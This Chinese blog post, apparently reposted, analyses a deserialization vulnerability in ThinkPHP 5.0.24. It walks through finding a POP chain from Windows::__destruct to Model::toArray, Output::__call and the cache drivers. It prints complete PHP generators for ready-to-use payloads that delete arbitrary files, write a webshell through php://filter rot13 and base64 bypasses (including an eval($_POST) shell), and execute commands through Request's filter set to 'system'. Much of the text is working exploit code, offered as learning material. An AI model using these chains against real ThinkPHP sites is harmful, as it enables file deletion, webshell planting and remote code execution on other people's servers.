前言
很久沒發(fā)過文章了,最近在研究審計鏈條相關(guān)的東西,codeql,ast,以及一些java的東西很多東西還是沒學(xué)明白就先不寫出來丟人了,寫這篇tp的原因呢
雖然這個漏洞的分析文章蠻多了,但是還是跟著看了下,一方面是因為以前對pop鏈挖掘一直學(xué)的懵懵懂懂的 ctf的一些pop鏈能出,但是到了框架里面自己就是挖不出來,所以就想著自己挖下tp反序列化的鏈子來看看,另一方面是想思考學(xué)習(xí)下php挖掘利用ast手法去該怎么入手(雖然后面這個問題還沒解決),所以就有了這篇文章。
如果有什么問題 歡迎師傅們批評指教,提建議。
正文:
下載地址:http://www.thinkphp.cn/donate/download/id/1279.html
任意文件讀取
https://www.anquanke.com/post/id/239242#h2-5
這篇的原理我就不分析了:
原理就是:連接數(shù)據(jù)庫導(dǎo)致的任意文件讀取,這種手法常拿來做蜜罐。
反序列化
因為tp本身的反序列化需要二開才能使用,因此我們得把入口函數(shù)改為如下
application/index/controller/index.php的內(nèi)容改為如下的
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$a = $_GET['string'];
unserialize($a);
}
}
set方法前
然后進(jìn)行直接搜索反序列化的 __destruct或者是__wakeup,這里搜索__destruct
一個一個看,發(fā)覺Windows類如下
這不就是一個純純的任意文件刪除且觸發(fā)__tostring()函數(shù)
<?php
namespace think\process\pipes;
class Windows
{
/** @var array */
private $files = ["../abc.php","b.txt"];//這里控制想刪除的文件即可
}
echo urlencode(serialize(new Windows));
?>
接著跟:因為file_exists觸發(fā)了__tostring函數(shù),因此直接接著跟__tostring函數(shù)
搜索得5個 一個一個跟過去
經(jīng)過一個一個跟最后排除為如下
即從Model.php里面的__toJson()–>toArray()
toArrary()函數(shù)
具體的點 即典型變量–>函數(shù)找這種 且觀察相關(guān)的變量是否可控 如果可控即可調(diào)用__call函數(shù)
這里最開始是思考可以調(diào)modelRelation和value參數(shù)進(jìn)而去觸發(fā)__call函數(shù)
先看modelRelation
modelRelation想要觸發(fā)_call函數(shù)的幾個條件
①this->append不為空且this->append as key => name
②method_exists(this,relation)存在這個方法
③method_exists(modelRelation, ‘getBindAttr’) 主要就是這個條件直接就把modelRelation觸發(fā)__call給gg了
因為如果存在這個方法即必然$bindAttr = $modelRelation->getBindAttr();可以滿足 即必然無法觸發(fā)__call函數(shù)
再看value參數(shù)觸發(fā)的條件
①this->append不為空且this->append as key => name
②method_exists(this,relation)
③method_exists(modelRelation, ‘getBindAttr’)
④$bindAttr
因此一個一個排查看能否滿足這四個條件
第一個條件,因為append是我們自己定義的 因此這個我們可控,第一個條件可滿足
第二個條件
method_exists(this, relation)即這個類中存在relation這個方法 且relation由name賦值給予的,即this->append=[‘該類中存在的方法名’];
滿足這個即可,因為我們的relation后面還要賦值,因此最好找到可控的
一個一個方法找下去找到 兩個滿足條件的方法
自此第二個條件可滿足,其這里選用的是getError()函數(shù)
第三個條件
method_exists($modelRelation, 'getBindAttr')
且由代碼可知modelRelation由$this->relation()控制 而relation我們是可控的 因此我們只需要找到一個存在getBindAttr方法的且參數(shù)可控的類賦值給其即可
有一個OneToOne類中具有這個方法
且方法可控
但其為抽象類,因此我們直接找繼承其的 找到兩個相關(guān)類 隨便選一個即可
這里選擇的是BelongsTo這個類 this->error=new BelongsTo(); 賦值即可
第四個條件:
$bindAttr不為空 這個就更簡單了
這個由$modelRelation->getBindAttr();方法控制這里的方法就相當(dāng)于我們上面的$this->bindAttr參數(shù)
這個隨便進(jìn)行賦值下即可$this->bindAttr = ["test"=>"test"]; 第四個條件滿足
自此value參數(shù)可觸發(fā)到 在具體跟value由誰賦值,如果value可控即可完整造成觸發(fā)_call函數(shù)
這里的value參數(shù)由$this->getRelationData($modelRelation)方法獲取 且由上面分析可知 $modelRelation變量可控
跟進(jìn)getRelationData方法
發(fā)覺有2種情況賦予value值 看第一種
需要滿足三個條件
第一:$this->parent存在 且$this->parent 可控,才可可控value值
第二:$modelRelation->isSelfRelation()不滿足
第三:get_class($modelRelation->getModel()) == get_class($this->parent)
第一個條件
由于這個我們可以自己定義可控,第一個條件滿足
第二個條件:
$modelRelation->isSelfRelation()
由于這里的$modelRelation變量被我們賦值為了BelongsTo的因此我們要看BelongsTo類里面能否有這個方法
直接跟過去
發(fā)覺是Relation類且該類為抽象類
因此我們直接找繼承
OneToOne也是繼承的他 而我們的BelongsTo繼承的是OneToOne的 且該函數(shù)是直接返回的selfRelation變量且這個變量是自定義的 因為相當(dāng)于第二個條件我們可以滿足 直接不定義這個變量即可滿足
第三個條件:
get_class($modelRelation->getModel()) == get_class($this->parent)
和上面的是一個情況 這個getModel在Relation中可存在如下定義即query變量可控 且我們控制的類BelongsTo也可以滿足這個條件
即我們也可以可控query變量因此我們只要找到一個類里面的getModel方法我們可控即可滿足這個條件
在這里的
Query和ModelNotFoundException均可滿足這個條件
這里我們選用的是ModelNotFoundException這個類
走到這里value觸發(fā)__call()函數(shù)完全就可通
構(gòu)造如下
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new 我們想控制的類必須跟ModelNotFoundException的model是一樣的();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去進(jìn)行觸發(fā)下一條鏈
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//這里隨便不為空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new 我們想控制的類();
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
到這里后我們接著找__call函數(shù) 且這里記住由于上面的method為getAttr 這里的_call的method一定也得是我們getAttr的
直接搜索
這里大概的過一下其他的主要就是method不可控導(dǎo)致的其他的_call函數(shù)無法調(diào)用
①think\File
②think\Model
③think\Paginator的
且collection可控,
n
a
m
e
不可控,
name不可控,
name不可控,arguments可控
④think\Requet
一樣的method不可控導(dǎo)致
⑥think\Yar
⑦db\Connection
類名方法均不可控
⑧db\Query
一樣的原因
⑨t(yī)hink\model\Relation
⑩think\view\driver\Think
這里只有第五條個__call函數(shù)可以思考利用
think\Output的這個
因為參數(shù)固定了即直接調(diào)用block函數(shù)且參數(shù)為$args
因此我們重點接著跟block函數(shù)
這里到了handle,handle是一個我們可以控制的變量,因此這里可以拿來做一層跳板
搜索有write類的方法 找到12個相關(guān)的
這里就不每個都寫出來了
重點就是Memcache方法和Memcached方法 里面的handler可控,造成可以在做一次跳板
set方法相關(guān)的15個
走到了這里就可以有兩種思路拿shell了
前面的payload構(gòu)造
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去進(jìn)行觸發(fā)下一條鏈
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//這里隨便不為空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去觸發(fā)Memcached的set,第一層跳板
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler=new 存在set方法的調(diào)用類();
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
調(diào)用鏈:
toArray具體分析
因為append我們是可以可控的 因此重點關(guān)注value可控以及進(jìn)入到value的三個條件即可
__call函數(shù)調(diào)用的原理
set方法后
任意文件寫入
這個就是think\cache\driver\File.php文件的set方法導(dǎo)致的 這里面有個file_put_contents()方法
這里面文件名的獲取方式:通過getCacheKey進(jìn)行獲取,且進(jìn)行拼接options[‘path’]而name也可以等于options[‘prefix’] 因此文件名我們是完全可控的
但是內(nèi)容是由data來的 data根據(jù)之前回溯可知是一個true變量 因此導(dǎo)致的問題就是內(nèi)容是我們不可控的 當(dāng)時因為走到了這里g了
但是往下走發(fā)覺
setTagItem這個方法中再次調(diào)用了file里面的set方法 且這里的set方法傳進(jìn)來的name是filename最后且賦值給了value參數(shù) 即導(dǎo)致上面的data是可控的了,因此只要滿足執(zhí)行setTagItem方法就可以導(dǎo)致任意文件寫入了
條件即是
result,first為true,因為這里的result為寫入內(nèi)容的所以恒等于真,因此我們只需要把first整為存在即可
且又因為first由$this->tag和!is_file決定 且is_file我們可控,因此我們只需要滿足tag為真即可,且這個tag是我們可控的因此我們是可以滿足調(diào)用setTagItem方法的
走到了這里就是繞exit();方法了
最開始想不明白怎么繞
查了下相關(guān)的資料發(fā)覺可以利用偽協(xié)議來繞過
原理是因為
當(dāng)file_put_contentes()的參數(shù)內(nèi)容偽造協(xié)議的時候,默認(rèn)會把內(nèi)容按照這些編碼,編碼后去進(jìn)行寫入文件,從而繞過exit();函數(shù)。
liunx和windows對應(yīng)的payload
linux繞過payload
php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>
windows的
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
自此一個完整的任意文件寫入的鏈子就有了 且加入輸入文件名的
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去進(jìn)行觸發(fā)下一條鏈
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//這里隨便不為空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去觸發(fā)Memcached的鏈
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache;
abstract class Driver
{
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $tag;
protected $options=[];
public function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
use think\cache\driver\File;
echo "\n";
$fx = new File();
echo $fx->get_filename();
?>
調(diào)用鏈:
RCE
set方法之前和前面一樣set方法后有區(qū)別了
set選擇的時候也可以選擇
think\cache\driver\Memcache.php或者think\cache\driver\Memcached.php這兩個方法
里面有個has($name)方法
當(dāng)tag為真時進(jìn)入到has()方法中去,因此這里的tag需要賦一個值不能為空
重點就是這里了 這里的handler又可以做一個跳板 且調(diào)用的是get方法 走到這里就可以走tp的經(jīng)典request->get導(dǎo)致rce了
經(jīng)典回調(diào)函數(shù)導(dǎo)致RCE
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去進(jìn)行觸發(fā)下一條鏈
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//這里隨便不為空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去觸發(fā)Memcached的鏈
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;//這里是write的方法
use think\cache\Driver;
class Memcached {
protected $handler;
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "test";
protected $handler;//觸發(fā)Request的鏈
protected $options = ['prefix'=>'goddemon/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["goddemon"=>'whoami'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
/** @var array */
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>
打即可
這里有個坑就是 protected $options 必須需要賦值且和下面的get方法的名字必須是一樣的
這里當(dāng)時debug了一會
原理如下:
錯誤的示范:
當(dāng)如這樣時
因為name最后會進(jìn)入到input方法中去進(jìn)行切割,查找是否存在/ 存在的即分割然后賦予list 否則則type=‘s’
這也是為什么/不能少的原因
然后進(jìn)行判斷,判斷是否存在
d
a
t
a
[
data[
data[val]即$data[name]即我們傳入的name值,如果不存在則直接返回了 導(dǎo)致到不了filtervalue函數(shù) 進(jìn)而無法rce 因此我們必須控制這里的prefix和get里面的為相同的
正確的即rce鏈中的方式文章來源:http://www.zghlxwxcb.cn/news/detail-799136.html
調(diào)用鏈:
文章來源地址http://www.zghlxwxcb.cn/news/detail-799136.html
到了這里,關(guān)于TP 5.0.24反序列化漏洞分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!